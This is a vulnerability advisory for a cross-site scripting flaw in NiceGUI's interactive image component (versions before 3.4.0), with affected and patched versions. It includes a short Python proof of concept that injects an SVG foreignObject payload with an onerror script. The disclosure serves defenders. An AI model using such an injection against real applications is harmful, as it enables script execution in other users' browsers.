---
id: CVE-2025-66470
aliases:
  - GHSA-2m4f-cg75-76w2
  - PYSEC-2026-1696
title: >-
  NiceGUI Stored/Reflected XSS in ui.interactive_image via unsanitized SVG
  content
summary: >-
  NiceGUI Stored/Reflected XSS in ui.interactive_image via unsanitized SVG
  content
severity: medium
cvss: 6.1
cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N'
vendor: nicegui
product: nicegui
ecosystem: pip
affected:
  - nicegui < 3.4.0
patched:
  - nicegui 3.4.0
published: '2025-12-08'
updated: '2026-07-07'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-2m4f-cg75-76w2'
references:
  - url: >-
      https://github.com/zauberzeug/nicegui/security/advisories/GHSA-2m4f-cg75-76w2
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2025-66470'
  - url: >-
      https://github.com/zauberzeug/nicegui/commit/58ad0b36e19922de16bbc79ea3ddd29851b1a3e3
  - url: 'https://github.com/zauberzeug/nicegui'
tags:
  - osv
  - pip
  - exploit-available
epss: 0.00254
epssPercentile: 0.15124
ingestedAt: '2026-07-08T18:25:44.559Z'
exploits:
  github: 1
  githubRepos:
    - 'https://github.com/Jmehta10/CVE-2025-66470'
  checkedAt: '2026-09-26T09:05:34.704Z'
exploitAvailable: true
---

## Overview

### Summary
A Cross-Site Scripting (XSS) vulnerability exists in the `ui.interactive_image` component of NiceGUI (v3.3.1 and earlier). The component renders SVG content using Vue's `v-html` directive without any sanitization. This allows attackers to inject malicious HTML or JavaScript via the SVG `<foreignObject>` tag.

### Details
The vulnerability is located in `nicegui/elements/interactive_image.js`.
The component uses the following code to render content:
```javascript
<g v-html="content"></g>
```
Vue's v-html directive renders raw HTML strings into the DOM. If an application allows user-controlled input to be passed to the content property of an interactive image, an attacker can embed a <foreignObject> tag containing malicious scripts, bypassing typical image restrictions.

### PoC
```python
from nicegui import ui

@ui.page('/')
def main():
    ui.label('NiceGUI SVG XSS PoC')
    
    # Standard image loading
    img = ui.interactive_image('[https://picsum.photos/640/360](https://picsum.photos/640/360)')
    
    # Payload: Embeds raw HTML execution inside SVG
    # This executes immediately when the image component is rendered
    img.content = (
        '<foreignObject>'
        '<body xmlns="[http://www.w3.org/1999/xhtml](http://www.w3.org/1999/xhtml)">'
        '<img src=x onerror=alert("XSS-SVG")>'
        '</body>'
        '</foreignObject>'
    )

ui.run()
```

### Impact
- Type: Reflected / Stored XSS (depending on data source)

- Severity: Moderate

- Impact: Attackers can inject malicious scripts that execute whenever the image component is rendered or updated. This is particularly dangerous for dashboards or multi-user applications displaying user-generated content or annotations.

## Affected packages

- `nicegui < 3.4.0`

## Remediation

Upgrade to a patched release:

- `nicegui 3.4.0`
